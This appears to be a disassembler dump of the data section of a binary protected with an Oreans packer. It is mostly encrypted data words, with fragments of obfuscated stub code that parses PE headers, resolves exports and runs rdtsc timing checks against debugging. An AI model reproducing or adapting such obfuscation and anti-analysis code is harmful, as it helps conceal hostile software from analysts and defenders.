		dd 708F0B3Dh, 0C0DFDBEDh, 116EAA9Ch, 5DBA7656h,	0BAC7C305h
		dd 0C2045AC7h, 93B5A9C6h, 5D67F817h, 280E46A1h,	0F3012EECh
		dd 92C5B879h, 8130080Ch, 0CC2BE7D9h, 9625B294h,	715F79FBh
		dd 94EBC0FFh, 0A11D8C92h, 0D21F6F3Dh, 0E94B1685h, 6BD4E871h
		dd 0F76AC36Ch, 0C864FAD1h, 0E4A34EC1h, 0DC624973h, 20E9DB83h
		dd 0C6D59990h, 816AF48Ah, 3EE8BD4Bh, 7A4EF76Dh,	6C02224Ch
		dd 0ACDA77h, 81040000h,	0B70AE1C7h, 9E3299A3h, 94EBDC2Dh
		dd 66A284BCh, 0FE694F09h, 0F70D97B3h, 0E821643Ch, 0A8D82815h
		dd 14D9129Ch, 5F79FB6Bh, 1109F28Ch, 3B5E6AF5h, 5A753995h
		dd 0F141C8C4h, 304553FCh, 57730AE1h, 59019CCBh,	0A4CAB67h
		dd 0B92C8230h, 74A75057h, 2DEDDh, 5D67F400h, 2D1346A1h
		dd 0FCC296F1h, 486CE700h, 152F334Ch, 30AD6C99h,	7F98142Eh
		dd 0CE29E5DFh, 1C7BB789h, 0D4860224h, 0B9872937h, 7EFA92C5h
		dd 4D12715Ah, 0C0B23C48h, 5BC794EBh, 5B52EC3Fh,	76EB1244h
		dd 0EAA93652h, 0F4D29277h, 3EEF0B17h, 0B2D2740h, 0C7810B8Fh
		dd 48470AE1h, 41D93214h, 2A3F3948h, 0EBC06C1Eh,	3E4AE194h
		dd 6B143F8Ch, 0A13D59C1h, 0B99FFA65h, 0A5150687h, 64701F48h
		dd 6B143FCAh, 95BD70BFh, 0A541B87Bh, 63718009h,	7539A30Ah
		dd 0DEE87211h, 96A8AE0Dh, 892535h, 0A22EFD9Dh, 6D3FB314h
		dd 0B7E3A75Eh, 776B50BBh, 6F63h, 1F6F6F00h, 9BF685D2h
		dd 860A83C5h, 8AC68ECBh, 279B7B26h, 3F37D8Bh, 98866D3Fh
		dd 0AAA0D9AFh, 55D8063h, 0AD38A7C3h, 755668EEh,	0A371FBE5h
		dd 1A046D3Fh, 5E4D0093h, 272EFC94h, 9937F62Ah, 6D3F190Bh
		dd 886365FAh, 1935B7C5h, 0D6486D3Fh, 0F2D9FF79h, 0AB3E023Bh
		dd 44FACE77h, 75EA0F49h, 4AE67853h, 0B32A4443h,	13D2776Bh
		dd 0FC000000h, 0EBC061F0h, 0E10E7E94h, 8B976A76h, 70EE8AC6h
		dd 1F6F20B4h, 131685D2h, 519E3979h, 0CBFD603Fh,	0E5A04FC2h
		dd 0E27C4F79h, 0B314A52Bh, 68178AC6h, 28B61BDh,	0C8A44853h
		dd 5A05EB42h, 322CCF3Eh, 5274E6A5h, 5528E179h, 3E3DE977h
		dd 0AE92A36Dh, 6CDAE680h, 259E77h, 24B30000h, 3E359618h
		dd 0B677EB6Dh, 0C062F010h, 0D7D94EBh, 906977E0h, 0EF8AC68Bh
		dd 0EDA8B773h, 0F8CA9075h, 6F29AD5Ch, 7785D21Fh, 8AD9A4F9h
		dd 0D5025994h, 0DBCB4248h, 0F37510BFh, 86BED9D5h, 0AA1A4BA0h
		dd 0F70E1A45h, 9E73089Eh, 38385780h, 0C385E21Eh, 1F20CAD6h
		dd 0EAD96749h, 17C8400Ch, 0BDCB6655h, 6749E133h, 20BCD846h
		dd 162A9ACBh, 123E4AF4h, 67497698h, 5E026DEDh, 453EFBFh
		dd 372DCE89h, 8A4BA11h,	0A4E38E81h, 0DA218AACh,	5B244086h
		dd 17A0848Ah, 711F8E01h, 79641100h, 3781332Fh, 5C568609h
		dd 0B5C48Fh, 3E1F0000h,	0EA718E0Ah, 9BC1DEDAh, 570E69A5h
		dd 45AB571h, 0C4BBC6C2h, 0C13D075Bh, 1692B4A6h,	0A05C60F9h
		dd 0EF2B0D47h, 78F21E2Dh, 0D92C5BBh, 2713317h, 0C15BFB01h
		dd 0A2535A34h, 0D7B21D52h, 0D26CBF81h, 12834DBh, 7C8AD969h
		dd 0B2B209E2h, 0D03B1D57h, 2C82E14Eh, 0DAC34358h, 232542BEh
		dd 742AA605h, 0A35ECAB1h, 8500B68Ah, 7806E5C3h,	3F66EB1h
		dd 2140FA0Ah, 95A32C9Fh, 538D021Bh, 5854F06Eh, 0C823053Fh
		dd 0F1DAF275h, 842A1E07h, 212EEACCh, 0C5C4E262h, 0E45FBABAh
		dd 3B57EBC0h, 261E7DD0h, 0A897AB00h, 72C243A4h,	232AE38Dh
		dd 3, 817A5E17h, 0BC03E8DCh, 0F249A284h, 2D705B6Dh, 69B41731h
		dd 0A1FCCFF1h, 0D92487B9h, 0E6DBE9Eh, 4897744Ah, 8D83315h
		dd 712D68h, 242C8900h, 5E08950h, 4, 42Dh, 24048700h, 240C895Ch
		dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 55243489h, 0C8229DBDh
		dd 6DB85051h, 0C1187D72h, 0AF0508E8h, 0C130C220h, 0E0C103E8h
		dd 232D4005h, 896B73F8h, 0E92958C1h, 348B545Dh,	4C48324h
		dd 451268h, 240C8900h, 54242C81h, 8F3D881Bh, 46810846h
		dd 881B5408h, 2434FF3Dh, 4C4815Eh, 0FF000000h, 81592434h
		dd 4C4h, 2B2E900h, 2E2AFFFDh, 8B9C2BB2h, 2D2DA2EBh, 0A943F7DEh
		dd 2E7C78B8h, 0FFC50306h, 40AFBE0h, 0AE9A35Ah, 7A347644h
		dd 826DB63Ah, 0A2118A62h, 0C1049366h, 0BBBFAD2Ch, 0D006267Ah
		dd 0B624CF57h, 0C17E383Eh, 990FEE46h, 1FDD9E28h, 0D085B16h
		dd 9E84Ah, 71310000h, 9600D42Ch, 66A527F0h, 0F5FD08Bh
		dd 0C781DAB7h, 69F1h, 5E8h, 82E2000h, 3CB8F0B5h, 5A572E31h
		dd 1A37B9h, 0BB666000h,	0FF610204h, 10E937h, 8D1B0000h
		dd 0F730B9B1h, 0EDC8FC75h, 82B2E55h, 0E85E6E88h, 14h, 0ECBFE44Bh
		dd 0B9B7D35Ch, 0FBD76A8Eh, 7CEA7C90h, 0F53B384h, 0BE9h
		dd 3391D300h, 6FE68618h, 6EF0E75Fh, 1DEE815Bh, 664E0D1Eh
		dd 81FA0BB8h, 0ADABDBEEh, 0EA816655h, 0C6816C81h, 12E85FB5h
		dd 56C2B70Fh, 9A0BB866h, 6E8078Fh, 80000000h, 0A5C844ACh
		dd 1840FDAh, 0F9000000h, 0C8EF815Bh, 0E969F80Bh, 0Dh, 0AEBF9649h
		dd 0E2844D1Ch, 8D3DAC67h, 0C4C78193h, 0B869F80Bh, 39EE1B26h
		dd 2D850F49h, 51000000h, 10E9h,	0B5526A00h, 0F054A652h
		dd 0A69ED355h, 0C3153BA8h, 28E95B74h, 0C4000000h, 18CCCF7Ah
		dd 0F5E252F9h, 215937CAh, 958C3345h, 0FFFF2AE9h, 2E850BFFh
		dd 0FE1B161Bh, 0CB8E0801h, 4BB99AAAh, 0E9A68D4Eh, 83h
		dd 56525153h, 245C8B57h, 3B81661Ch, 850F5A4Dh, 68h, 3C43B70Fh
		dd 8166D803h, 0F45503Bh, 5785h,	785B8B00h, 1C245C03h, 324738Bh
		dd 561C2474h, 8B207B8Bh, 7C031C73h, 74032024h, 83FC2024h
		dd 8B41FFC9h, 8B1C245Ch, 24540317h, 4C78320h, 0C084028Ah
		dd 33A0874h, 4243E875h,	33AF2EBh, 0D15FE075h, 4B70FE1h
		dd 86048B0Fh, 1C244403h, 595A5E5Fh, 8C25Bh, 0F1E9C033h
		dd 8BFFFFFFh, 0CE8CAh, 0A0570000h, 0BCC7DFF1h, 0B3DCADBh
		dd 5EF94545h, 0B1C681FCh, 0F000066h, 86h, 197DBA00h, 6E90000h
		dd 18000000h, 28F113A4h, 0E9068B0Ah, 8,	6EBB0C03h, 65DB6DC9h
		dd 0B6E4E881h, 0DD8037D1h, 7E88143h, 0E9542B62h, 0Ch, 0ACC4AED7h
		dd 9C688288h, 84496616h, 3AD4F081h, 14E95D0Fh, 0C8000000h
		dd 0DF23E896h, 0E11A6BD9h, 2980847Bh, 9278727Ah, 8973B932h
		dd 83E88A06h, 816602EEh, 4EC197EBh, 0CBBF0F4Eh,	13850F4Ah
		dd 0FC000000h, 2AE9h, 44F7C900h, 0CFAC235h, 940F560h, 820FDE75h
		dd 5, 1BCB8166h, 0FF77E9E2h, 9E88FFFFh,	22C15E4Dh, 0A6B6FA8Ch
		dd 0E91897F0h, 400h, 0
a3anInternalExc	db '3An internal exception occured (Address: 0x%x)',0Ah
		db 0Dh,'Please, contact support@oreans.com. Thank you!',0
		align 10h
		dd 0E4h	dup(0)
		dd 56h,	45h, 0
		dd 11CFE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 7069BEF8h, 8B6FF06Eh, 2B180985h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 4D5F5564h, 18ADE515h, 8D894EB0h,	62B2E95h
		dd 6820Fh, 0BD890000h, 62B05ADh, 4244439h, 80850Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0F5FAF7C3h, 19358589h, 0BD83062Bh, 62B0845h,	4F840F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 3FA2C355h, 5E9h, 642ABA00h, 858D93C2h
		dd 62B3C25h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	93C35545h, 0FFF5C9DFh, 858BF5E0h, 62B2F19h, 6880Fh
		dd 9D290000h, 62B0F05h,	4244439h, 6B850Fh, 840F0000h, 0Eh
		dd 0F9958960h, 0F062B1Bh, 8Bh, 95096100h, 62B2CD9h, 83C085C7h
		dd 1062Eh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0C402C3h, 0FF662426h, 1F418D89h
		dd 14E9062Bh, 0DD000000h, 9AC5744Ch, 5E68C42Ah,	880AA2B6h
		dd 15870D80h, 89EDF377h, 2B0631B5h, 6A6006h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 26C680C3h
		dd 10800F92h, 0E9000000h, 0Bh, 0BAC3F3EDh, 0FE1CD14Bh
		dd 0E98BEC9Ch, 2Dh, 2B219D31h, 6060062Bh, 11E8h, 0C998CA00h
		dd 5C01CAE7h, 638D0D56h, 29A1F30Bh, 8A5AEE89h, 8D2961EAh
		dd 62B0E99h, 61h, 1B800h, 85870000h, 62E859Dh, 0F675C00Bh
		dd 332DB5FFh, 858F062Bh, 62E83B8h, 0FF6A206Ah, 28C595FFh
		dd 0BD83062Bh, 62B1FF1h, 6A087400h, 4595FF00h, 83062B29h
		dd 2B26BDBDh, 0D740106h, 8068h,	0FFFF6A00h, 2B28C595h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 6AF5C6D1h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0F69C353h, 681h, 11858900h
		dd 0B8062B09h, 0
		dd 11E9h, 8E73D800h, 7493BFCh, 0A640EC23h, 5BC517AAh, 548BD1ACh
		dd 0B5892824h, 62B1CB5h, 12458589h, 6A062Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0C58AB8C3h
		dd 359A7E50h, 0BEF9E6B8h, 3Ch, 0A198589h, 7403062Bh, 890F2424h
		dd 6, 6B5B589h,	0AD66062Bh, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 91C35141h, 38368AFh, 89242444h, 2B0E7DB5h
		dd 52509006h, 61605250h, 880F310Fh, 0
		dd 310F585Ah, 5033B760h, 5A310F52h, 585A6158h, 8E950h
		dd 1F7C0000h, 79998432h, 6A90DE70h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 84CAC350h
		dd 0F340971h, 68Dh, 61858900h, 8B062B30h, 60607840h, 2B0D8533h
		dd 8166062Bh, 61761CE3h, 14E9h,	0EAD59600h, 9E9E3B5Bh
		dd 13D4BD8Bh, 3DEA7F21h, 29E8ECEBh, 0BD836152h,	62E83C0h
		dd 16850F00h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 18DC357h, 0DE990F9h
		dd 76000000h, 41A9C64Dh, 20C8D92Ah, 0B0702BF6h,	88D0F50h
		dd 0F000000h, 28Eh, 90616000h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0B0C35646h,	0B237CD36h, 24448BF8h
		dd 0C19D292Ch, 90062B02h, 10E9h, 2DA2EB00h, 43F7DE2Dh
		dd 106324A9h, 0F1DBAE5h, 830F50E3h, 18h, 13E9h,	0FF7E2F00h
		dd 66FD73Eh, 0EA56D3EDh, 6B03805Eh, 0E456E5F4h,	57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 8FF5E9CBh, 0CE98978h, 5D000000h, 0D3FF49E3h,	3C68768h
		dd 60171111h, 16499D31h, 0B529062Bh, 62B2675h, 3F858D61h
		dd 29062E4Fh, 2B0EE595h, 6AD0FF06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 63ABC357h
		dd 39570609h, 0A5190ABDh, 244403F8h, 50006A28h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0F3E886E2h
		dd 0F18408Bh, 0E87h, 8D8B6000h,	62B2B5Dh, 1D518529h, 4061062Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0DBC35141h
		dd 72B4DB16h, 0BC8589F9h, 89062E83h, 2B18C195h,	6A5806h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 6429B2C3h, 0DC8BEFFBh, 0BD093A72h, 62B2E3Dh,	6A78708Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0C63CC351h, 0C932823Ah, 340AF39h,	0D8D9D89h
		dd 0C683062Bh, 6830F1Ch, 89000000h, 2B3385B5h, 0F609606h
		dd 0EC8AF0BFh, 247C8161h, 24h, 0DB870F10h, 0F8000000h
		dd 1B840F50h, 60000000h, 12E96160h, 6C000000h, 0C413308h
		dd 29368411h, 0F534D500h, 4A9752ECh, 4896103h, 448BFC24h
		dd 6A2824h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0EC0518C3h, 1AEC7D42h, 11E9h, 5E910400h
		dd 90FF107Dh, 37CD36B0h, 7F319AB2h, 6050E87Ah, 28D0Fh
		dd 0AAB20000h, 830Fh, 89610000h, 8DF82404h, 2E4F3F85h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 68A0FDDh, 89000000h, 2B2BA995h, 6D952906h
		dd 0FF062B1Bh, 50006AD0h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0EED9B8CEh, 0F4673A6Dh
		dd 8BF48A60h, 2B35158Dh, 0F966106h, 0D83h, 8E900h, 0A8230000h
		dd 34C277AEh, 7403CB08h, 6A2424h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 8B60CBC3h, 2B0199BDh
		dd 0A5958906h, 61062B1Fh, 1BE1B529h, 0BD8D062Bh, 62B0039h
		dd 1840Fh, 0ADF90000h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 8BC35747h, 81F8AC14h,	24247Ch, 0F100000h
		dd 0E887h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0F8D8CB24h, 0BD31F60Ah, 62B3459h
		dd 0C8F0F50h, 0F000000h, 689h, 0F525000h, 89585A31h, 6A2404h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 31341DC3h, 2B0EC985h, 24448B06h, 11E928h, 58D50000h
		dd 0A090F23h, 879237ADh, 0FF9A6890h, 5034913Ah,	8C0F5250h
		dd 0Fh,	0AE9h, 809F8300h, 218B42FAh, 0F348B07h,	8A0F6031h
		dd 0
		dd 8B0Fh, 5A610000h, 24048958h,	0A51BD89h, 858D062Bh, 62E4F3Fh
		dd 1B91BD89h, 0D0FF062Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0B2C35141h, 0C97F564Eh, 0E58589CCh, 89062B0Dh
		dd 2B0F99BDh, 24440306h, 5E924h, 4D8F0000h, 0ABC61745h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 78C35141h
		dd 7D18589h, 0BE9062Bh,	0AB000000h, 41FF4786h, 34F26920h
		dd 0FA81F478h, 10000h, 7BB820Fh, 8DF50000h, 2B06D5BDh
		dd 60ADF806h, 2D39BA66h, 16F18D29h, 0FC61062Bh,	24247C81h
		dd 10000000h, 0EF870Fh,	6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0F17FDC3h, 18Fh, 0E990F800h
		dd 6, 0C6FF9689h, 0E950E2CBh, 8, 64D7BDF4h, 70C4F2D9h
		dd 448BF990h, 6A2824h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 9D1E36C3h, 0F52A359Ch, 8D953182h
		dd 50062B11h, 11E95250h, 93000000h, 64654D2Fh, 83694337h
		dd 0BD4BA613h, 340C6E14h, 0CE9310Fh, 0F5000000h, 939EF62Dh
		dd 0F883E061h, 5A82940Fh, 24048958h, 3F858DF9h,	6A062E4Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0DE6CC353h, 0E76A7EA0h, 0D0FF01D5h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0D5C35646h, 0A3D9A7FDh
		dd 5C7ADB0Ch, 244403E1h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 6B523873h, 44F8F265h
		dd 0F60F994h, 68Eh, 71950900h, 81062B27h, 0C60C34C1h, 0E950612Ch
		dd 10h,	0CB71D67Bh, 3C5372D7h, 0FC5B7574h, 0C45CEFF6h
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0AAA6C351h, 0AC5BC517h, 850F60D1h
		dd 3, 0E923DB80h, 14h, 0E33C70E7h, 0B1E2B69Eh, 8FD1DC80h
		dd 0C706F924h, 78B0F2ADh, 0B589AB61h, 62B154Dh,	0DCDBD8Dh
		dd 6A062Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 9543C3C3h, 0E2212C4Ch, 0E9AD1662h, 0Dh, 2E4639BEh
		dd 0F26C1F56h, 0D02500D9h, 247C8141h, 28h, 0C870F10h, 0F000001h
		dd 0E81h, 9E900h, 0BDD20000h, 3C3D1515h, 509A45BEh, 17890F60h
		dd 0E9000000h, 12h, 1DD01140h, 1B5172DDh, 0AD07E373h, 0D91CFA32h
		dd 13E919BAh, 85000000h, 0A10BF953h, 2B14E851h,	30176FEEh
		dd 0D69FE965h, 8961192Dh, 11E92404h, 3D000000h,	0CF5E938Dh
		dd 0BE071E60h, 67B9CEFEh, 0E697DECDh, 2C24448Bh, 0CE9h
		dd 86977E00h, 8BB7C58Bh, 22DF6604h, 5360504Ah, 0D32458BAh
		dd 52505A12h, 8D0Fh, 310F0000h,	7E8h, 7AEBC300h, 2358D5CCh
		dd 61585A5Ah, 0F240489h, 18Dh, 8501F800h, 62B269Dh, 4F3F858Dh
		dd 6A062Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0FE765BC3h, 92C7336h, 2B0701BDh, 65950906h
		dd 0FC062B1Eh, 6AD0FFh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0A3EE8C3h, 266915Ch, 919509D8h
		dd 3062B1Ch, 0F282444h,	68Ch, 89BD2900h, 0AB062B01h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 26C35141h, 0D0A6928h
		dd 8D894C79h, 62B2681h,	0BC8DFF5Eh, 83062E83h, 2E83BCBDh
		dd 0A750006h, 0B58DC033h, 62E9318h, 0AD56E6FFh,	28247C81h
		dd 10000000h, 8B500E77h, 502C2444h, 4F3F858Dh, 0D0FF062Eh
		dd 28244403h, 8ADF8B97h, 2E83B885h, 74C08406h, 75073A04h
		dd 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h, 33C033D1h
		dd 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h,	973D8D1h
		dd 50413566h, 49F38166h, 75CEFE54h, 33C833EBh, 0D5754FD3h
		dd 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah, 0C6835E0Fh
		dd 4585FF04h, 0E9062B12h, 0FFFFFF5Dh, 55006A5Eh, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 0C7E413E9h, 4BED4EEBh, 0FC9BD01h, 6660062Bh,	81F145BFh
		dd 0A5905BD9h, 8BFC616Fh, 2B124585h, 0EE906h, 32520000h
		dd 55A05B79h, 0E79DF83h, 0CAF31EF4h, 9589E0D1h,	62B0FB1h
		dd 0DCD8503h, 6A062Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0EBDEF9C3h, 9298D29h, 0BE062Bh
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0E9B5C357h, 9,	0A12492Ch, 0DABD0998h
		dd 6A96C9h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 487BF5C3h, 68F0F93h, 1000000h, 2B333D8Dh
		dd 0B19D0906h, 66062B28h, 816660ADh, 0E82EC8CFh, 12h, 30BA06E2h
		dd 0B7FFCD0Eh, 0D8B94945h, 25BB99E6h, 61580CB9h, 0A9858960h
		dd 8A062B2Bh, 0E0C161ECh, 858B6002h, 62B2CB5h, 12059D23h
		dd 361062Bh, 2B003985h,	53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 2E79BF97h, 0AE9FC87h
		dd 0CD000000h, 0B809ED34h, 12C1AE4Ah, 4DBD0172h, 96062B2Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0F8C35040h
		dd 0F451B93h, 0A81h, 0B5896000h, 62B0FB9h, 0F861ACB6h
		dd 51006AADh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 6E35C8B4h, 611CE263h, 0B589A31Bh, 62B2B79h
		dd 24247C81h, 10000000h, 14F870Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 27C051C3h
		dd 94E74335h, 90C8EEFAh, 1E8E0Fh, 8A0F0000h, 18h, 13E9h
		dd 6DBC2100h, 0F4E52270h, 4879818Fh, 0F2D5EEB1h, 4DF79888h
		dd 60525050h, 0FE9F18Bh, 91000000h, 0C88B4B24h,	0E2C35B52h
		dd 1407A4BCh, 0F612B08h, 0FE931h, 0ACF80000h, 93EA5DDCh
		dd 17F1680Dh, 4C5F0ED2h, 90585AFEh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 1DC35242h, 89C3790Ah, 2B06419Dh
		dd 24448B06h, 8A0F6028h, 6, 2FF99D89h, 0B70F062Bh, 0FE961D3h
		dd 0CA000000h, 9C08CF76h, 0D4D420B6h, 3F731728h, 60905197h
		dd 0BF66C18Bh, 50616781h, 8B666060h, 8F0FF1h, 61000000h
		dd 38B85250h, 0F44DC4Dh, 5AEC8A31h, 89906158h, 2B2F59B5h
		dd 3F858D06h, 6A062E4Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0B737C353h,	15F640Dh
		dd 2B12418Dh, 6AD0FF06h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0E9C5C356h,	9, 635E5F90h
		dd 80C02D2h, 24440353h,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0C2CF50DCh, 1EDB709Ch
		dd 9D892868h, 62B0681h,	1C244489h, 2D85C6F9h, 62B33h, 859D85C7h
		dd 62Eh, 85C70000h, 62E83C0h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 4EC35242h
		dd 4A3ABEABh, 0B58960A8h, 62B02A1h, 17890Fh, 12E90000h
		dd 0EF000000h, 9C30182Dh, 0A020025Eh, 0E8159E20h, 975DA3B8h
		dd 0BD29619Fh, 62B2049h, 10E961h, 70C20000h, 0AD47D481h
		dd 26468172h, 0F065D112h, 8C2A1DCh, 0B58B6000h,	62B028Dh
		dd 39858B61h, 0F062B00h, 68Fh, 0ED9D0900h, 4A062B2Ch, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 4C35545h, 39386059h
		dd 6E9h, 579A5000h, 0FC1B635Dh,	6A04D26Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 4A0C352h
		dd 9D31F565h, 62B0555h,	6E9h, 70028E00h, 3483341h, 2996F9C2h
		dd 2B32ADBDh, 6E9AD06h,	0A000000h, 0E8A1D0C5h, 247C8184h
		dd 24h,	31870F10h, 1000001h, 2B1615B5h,	860F5006h, 19h
		dd 14E9h, 0FEF23B00h, 0D08AB59Ah, 2CAF95FCh, 0D68356FAh
		dd 7BFBE029h, 24048906h, 7E9h, 9DC34C00h, 36918C6Fh, 0DE9h
		dd 0DF3B7A00h, 92AEDDA1h, 0EE7599D8h, 448B7F51h, 6A2824h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0C08025C3h, 68E0F60h, 9000000h, 2B09CD9Dh, 61DA8B06h
		dd 0F5060FCh, 82h, 0B5895900h, 62B1769h, 52509061h, 0AE860h
		dd 1E030000h, 17B1C380h, 0C0A4A792h, 13E859h, 92440000h
		dd 4ECE8D66h, 0D28B659Ah, 0D2BDD19Ah, 0AAACFEACh, 0F615BD5h
		dd 0BA666031h, 5E57BD9Fh, 50585A61h, 0FE8B6660h, 0CCDC78BAh
		dd 0F90610Eh, 0E81h, 8D236000h,	62B2959h, 1B3D9523h, 8D61062Bh
		dd 2E4F3F85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0E99D0165h, 0FF062B05h, 57006AD0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 28A058FCh, 2E7163D3h, 0FFFD78E9h, 55006AFFh,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 8C565DB0h
		dd 9531FFCEh, 62B2A15h,	993A858Dh, 6A062Eh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0DB1F5BC3h
		dd 0EF2E510Fh, 12E860h,	66A40000h, 0C499597Fh, 93AEEC11h
		dd 959FFE71h, 61D2D080h, 2715B58Bh, 0E959062Bh,	12h, 4F974D01h
		dd 0B01D15F5h, 313FFD1Dh, 2BC6DFEAh, 90613320h,	0E807B160h
		dd 8, 0C0DD0B15h, 0D40E9933h, 6791BF66h, 6050615Fh, 0B2A334BEh
		dd 0C18B6659h, 89609061h, 2B0FD985h, 1AB86606h,	0B58961E1h
		dd 62B1935h, 35FF64h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 32D2C356h, 0C870Fh
		dd 7E90000h, 6B000000h,	0AFE01D05h, 48B9981h, 9BD3124h
		dd 89062B12h, 2B1AA985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 8923E971h, 2B2BD595h
		dd 25896406h, 0
		dd 0FE9h, 37C2E000h, 0D1365C61h, 14A78241h, 0E7C3CE68h
		dd 974F858Dh, 12E9062Eh, 0D2000000h, 619ADCCh, 690B21E7h
		dd 0E2DA4C7Bh, 0A05237EDh, 858960A2h, 62B056Dh,	1DB1858Bh
		dd 8961062Bh, 6A0160h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0AAE3E8C3h, 265E9F8h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 2A806FC3h, 434BDC92h, 6078F75Dh, 6840Fh, 0BD290000h
		dd 62B2D29h, 68E0Fh, 8D890000h,	62B0C49h, 0E8DB8B61h, 0
		dd 48ED815Dh, 0BC062E97h, 12FF9Ch, 26BDBD83h, 7400062Bh
		dd 39858B18h, 0C6062B2Bh, 858B0000h, 62B1201h, 0FF0000C6h
		dd 2B0EA195h, 0B5FF6006h, 62E7FC4h, 7FC8858Dh, 8D50062Eh
		dd 2E81C085h, 95FF5006h, 62B2C39h, 610CC483h, 13E860h
		dd 0F1930000h, 604F5CA8h, 0E7A2D59Eh, 3D129A1Dh, 31A9D603h
